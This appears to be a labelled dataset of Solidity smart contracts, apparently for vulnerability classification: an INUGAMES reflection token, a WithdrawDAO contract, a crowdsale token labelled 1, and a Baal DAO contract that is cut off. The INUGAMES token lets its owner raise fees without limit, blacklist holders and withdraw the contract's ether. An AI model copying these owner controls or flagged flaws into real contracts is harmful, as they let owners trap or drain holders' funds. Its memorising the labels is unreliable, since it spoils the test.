require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract INUGAMES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress =
payable(0x32c06C619dE3886A0e23EDbf75560759A8cfD86C);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'INU GAMES';
string private _symbol = 'INUGAMES';
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_liquidityFee = _previousLiquidityFee;
_taxFee = _previousTaxFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'You have no power here!');
require(!_isSniper[msg.sender], 'You have no power here!');
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToMarketing(address(this).balance);
}
}
function sendETHToMarketing(uint256 amount) private {
marketingAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function isRemovedSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function _removeSniper(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not blacklist Uniswap'
);
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function _amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
} | 0 | 2,537 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xe4ae1efdfc53b73893af49113d8694a057b9c0d1);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 154 |
pragma solidity ^0.4.16;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Token is StandardToken, Ownable {
using SafeMath for uint256;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public tokensPerEther;
uint256 public weiRaised;
uint256 public cap;
uint256 public issuedTokens;
string public name = "Realestateco.in";
string public symbol = "REAL";
uint public decimals = 4;
uint public INITIAL_SUPPLY = 80000000000000;
uint factor;
bool internal isCrowdSaleRunning;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Token() {
wallet = address(0x879bf61F63a8C58D802EC612Aa8E868882E532c6);
tokensPerEther = 331;
endBlock = block.number + 400000;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
startBlock = block.number;
cap = INITIAL_SUPPLY;
issuedTokens = 0;
factor = 10**14;
isCrowdSaleRunning = true;
}
function () payable {
buyTokens(msg.sender);
}
function stopCrowdSale() onlyOwner {
isCrowdSaleRunning = false;
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(tokensPerEther).div(factor);
require(issuedTokens.add(tokens) <= cap);
weiRaised = weiRaised.add(weiAmount);
issuedTokens = issuedTokens.add(tokens);
forwardFunds();
issueToken(beneficiary,tokens);
TokenPurchase(msg.sender, beneficiary, msg.value, tokens);
}
function issueToken(address beneficiary, uint256 tokens) internal {
balances[owner] = balances[owner].sub(tokens);
balances[beneficiary] = balances[beneficiary].add(tokens);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && isCrowdSaleRunning;
}
function hasEnded() public constant returns (bool) {
return (block.number > endBlock) && isCrowdSaleRunning;
}
} | 1 | 3,009 |
pragma solidity >=0.8.0;
interface IShaman {
function memberAction(address member, uint96 loot, uint96 shares) external payable returns (uint96 lootOut, uint96 sharesOut);
}
contract Baal {
bool public lootPaused;
bool public sharesPaused;
bool singleSummoner;
uint8 constant public decimals = 18;
uint16 constant MAX_GUILD_TOKEN_COUNT = 400;
uint96 public totalLoot;
uint96 public totalSupply;
uint32 public flashFeeNumerator;
uint32 public gracePeriod;
uint32 public minVotingPeriod;
uint32 public maxVotingPeriod;
uint public proposalCount;
uint status;
string public name;
string public symbol;
bytes32 constant DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,uint chainId,address verifyingContract)');
bytes32 constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint nonce,uint expiry)');
bytes32 constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint value,uint nonce,uint deadline)');
bytes32 constant VOTE_TYPEHASH = keccak256('Vote(uint proposalId,bool support)');
address[] guildTokens;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) public balanceOf;
mapping(address => mapping(uint => Checkpoint)) public checkpoints;
mapping(address => uint) public numCheckpoints;
mapping(address => address) public delegates;
mapping(address => uint) public nonces;
mapping(address => Member) public members;
mapping(uint => Proposal) public proposals;
mapping(uint => bool) public proposalsPassed;
mapping(address => bool) public shamans;
event SummonComplete(bool lootPaused, bool sharesPaused, uint gracePeriod, uint minVotingPeriod, uint maxVotingPeriod, string name, string symbol, address[] guildTokens, address[] shamans, address[] summoners, uint96[] loot, uint96[] shares);
event SubmitProposal(uint8 indexed flag, uint indexed proposal, uint indexed votingPeriod, address[] to, uint96[] value, bytes[] data, string details);
event SponsorProposal(address indexed member, uint indexed proposal, uint indexed votingStarts);
event SubmitVote(address indexed member, uint balance, uint indexed proposal, bool indexed approved);
event ProcessProposal(uint indexed proposal);
event Ragequit(address indexed member, address to, uint96 indexed lootToBurn, uint96 indexed sharesToBurn);
event Approval(address indexed owner, address indexed spender, uint amount);
event Transfer(address indexed from, address indexed to, uint amount);
event TransferLoot(address indexed from, address indexed to, uint96 amount);
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
modifier nonReentrant() {
require(status == 1,'reentrant');
status = 2;
_;
status = 1;
}
struct Checkpoint {
uint32 fromTimeStamp;
uint96 votes;
}
struct Member {
uint96 loot;
uint highestIndexYesVote;
mapping(uint => bool) voted;
}
struct Proposal {
uint32 votingPeriod;
uint32 votingStarts;
uint32 votingEnds;
uint96 yesVotes;
uint96 noVotes;
bool[4] flags;
address[] to;
uint96[] value;
bytes[] data;
string details;
}
constructor(
bool _sharesPaused,
uint32 _gracePeriod,
uint32 _minVotingPeriod,
uint32 _maxVotingPeriod,
string memory _name,
string memory _symbol,
address[] memory _guildTokens,
address[] memory _shamans,
address[] memory _summoners,
uint96[] memory _loot,
uint96[] memory _shares
) {
require(_minVotingPeriod != 0,'0_min');
require(_minVotingPeriod <= _maxVotingPeriod,'min>max');
require(_guildTokens.length != 0,'0_tokens');
require(_summoners.length != 0,'0_summoners');
require(_summoners.length == _loot.length && _loot.length == _shares.length,'!member array parity');
unchecked {
for (uint i; i < _shamans.length; i++) shamans[_shamans[i]] = true;
for (uint i; i < _guildTokens.length; i++) guildTokens.push(_guildTokens[i]);
for (uint i; i < _summoners.length; i++) {
_mintLoot(_summoners[i], _loot[i]);
